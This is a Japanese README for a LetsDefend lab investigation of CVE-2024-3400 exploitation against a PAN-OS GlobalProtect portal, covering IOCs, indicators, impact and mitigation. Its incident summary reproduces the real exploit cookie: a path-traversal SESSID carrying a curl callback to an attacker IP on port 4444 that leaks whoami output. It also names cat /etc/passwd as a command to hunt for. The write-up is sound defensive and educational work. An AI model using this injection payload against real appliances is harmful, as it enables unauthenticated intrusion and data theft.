letsdefend-cve2024-3400-case-study

CVE-2024-3400 の悪用試行を標的とした Palo Alto PAN-OS GlobalProtect ポータルに対する検知、分析、および対応戦略。IOC、悪用パターン、緩和策のガイダンスを含みます。

CVE-2024-3400 インシデント調査

🔍 概要

このリポジトリには、Palo Alto Networks PAN-OS ソフトウェア、特に GlobalProtect ポータルを標的とした、重大な未認証コマンドインジェクション脆弱性である CVE-2024-3400 に関する詳細な調査と脅威分析が含まれています。

2024年4月18日、内部 PAN-OS ファイアウォールに対して、脆弱な /global-protect/login.esp エンドポイントを使用した悪用活動が検出されました。攻撃者は、144.172.79.92（フロリダ州マイアミ）でホストされているリモート C2 サーバーに到達するため、バッククォートで実行される curl コマンドを含む細工された SESSID クッキーを使用しました。悪用ペイロードは、単純なフィルターを回避するために ${IFS} を利用し、PAN-OS のテレメトリディレクトリを使用して悪意のある活動をステージングしました。ファイアウォールは 200 OK で応答し、ペイロードが正常に実行された可能性が高いことを示しています。

📄 インシデントサマリー

• イベントID: 249

• 検知ルール: SOC274 – PAN-OS コマンドインジェクションの悪用

• イベント時刻: 2024年4月18日 03:09 AM UTC

• ホスト名: PA-Firewall-01

• 宛先IP: 172.16.17.139

• 送信元IP: 144.172.79.92

• リクエストメソッド: POST

• エンドポイント: /global-protect/login.esp

• クッキーペイロード: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaacurl${IFS}144.172.79.92:4444?user=$(whoami)

• 悪意のあるハッシュ:

• SHA256: 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

• MD5: 0c1554888ce9ed0da1583dbdf7b31651

• 悪意のあるスクリプト: update.py（ を使用して実行）

🧠 脅威インテリジェンス

ステップ1: Malpedia で検索して初期エクスプロイトを検知

ステップ2: ハッシュの分析と調査

ステップ3: 別の調査

ステップ4: IPアドレスの調査

🧠 行動指標

• コマンドインジェクションのための SESSID の悪用
• 回避のための ${IFS} の使用
• /opt/panlogs/tmp/device_telemetry でのペイロードのステージング
• 悪用後の dt_send プロセスの関与
• ポート 4444 での攻撃者IPへのネットワークコールバック

---

📄 ログ証拠

---

🧩 ハッシュの相関

---

✅ LetsDefend で獲得したポイント

🚨 影響

• コアセキュリティアプライアンス上でのリモート未認証コマンド実行
• 攻撃者制御の Python ペイロードのダウンロードおよび実行の可能性
• ステージングまたは外部送信のための PAN-OS 内部テレメトリメカニズムの悪用
• 既知の悪意のあるIPからのトラフィックの許可

✅ 推奨される対応アクション

1. PAN-OS をパッチ適用: バージョン 10.2.9-h1、11.0.4-h1、または 11.1.2-h3 へ
2. 悪意のあるIPをブロック: 144.172.79.92
3. ログとファイルシステムで侵害指標（IOC）を検索
4. テレメトリディレクトリを検査し、不審なファイルや実行動作を確認
5. 影響を受けたシステムを隔離し、完全なフォレンジック分析を実施

📁 内容

• logs/: パース済みおよび生の検知ログ
• ioc/: 攻撃に関連するファイルハッシュとIP
• analysis/: エクスプロイト動作とプロセストレーシングの詳細分析
• report/: 調査のログとコードの要約および画像

---

CVE-2024-3400 とは

CVE-2024-3400 は、Palo Alto Networks PAN-OS、特に GlobalProtect ゲートウェイに影響を与える重大な脆弱性を指します。以下は、これについて公に知られている情報の内訳です:

🔥 CVE-2024-3400 – Palo Alto PAN-OS コマンドインジェクション脆弱性

CVSS スコア: 10.0（クリティカル）

公開日: 2024年4月

影響を受ける製品: GlobalProtect が有効な場合の PAN-OS 10.2、11.0、11.1

悪用: 実環境での悪用が確認済み（ゼロデイ）

脆弱性の種類: 未認証のコマンドインジェクション

🧠 リスクは何か？

CVE-2024-3400 により、未認証の攻撃者がファイアウォールのオペレーティングシステム上で任意のコマンドを実行できます。これにより、資格情報を必要とせずに影響を受けるデバイスを完全に制御できることになります — Palo Alto ファイアウォールに依存するあらゆる企業にとって深刻な侵害ポイントです。

⚠️ 悪用に必要な条件:

• GlobalProtect ゲートウェイが有効である必要があります。
• 特定の PAN-OS バージョン（10.2.x、11.0.x、11.1.x）。
• 追加のセキュリティ層の背後にない場合、インターネット経由で悪用可能です。

🔎 攻撃者が行っていること:

• インジェクションの欠陥を悪用するための細工されたリクエストの送信。
• リモートシェルの展開または第二段階ペイロードのダウンロード。

観察された動作には以下が含まれます:

• 細工されたURLによるコマンド実行
• 永続化メカニズム
• ネットワーク内での横移動（ラテラルムーブメント）

🛡️ 緩和策と推奨事項:

• すぐにパッチを適用: Palo Alto は修正プログラムをリリースしました。脆弱でないバージョン（例: 10.2.9-h1、11.0.4-h1、11.1.2-h3 以降）にアップグレードしてください。
• 不審なプロセス、外部接続、異常なCLI履歴などの侵害指標（IOC）を確認してください。
• Shodan や資産インベントリなどのツールを使用して、脆弱なアプライアンスを特定してください。

🛠️ 調査方法（例: LetsDefend や SIEM 経由）:

• 有効な認証なしで GlobalProtect にアクセスする外部IPを探します。
• ログ内の不審なコマンド実行（show system processes、cat /etc/passwd など）を確認します。
• ファイアウォールの動作を監視し、異常な外部接続をアラートします。

このリポジトリは、内部調査レポートとして、また PAN-OS 脆弱性の実世界での悪用を理解しようとする防御者向けの教育リソースとして機能します。貢献や追加の観察を歓迎します。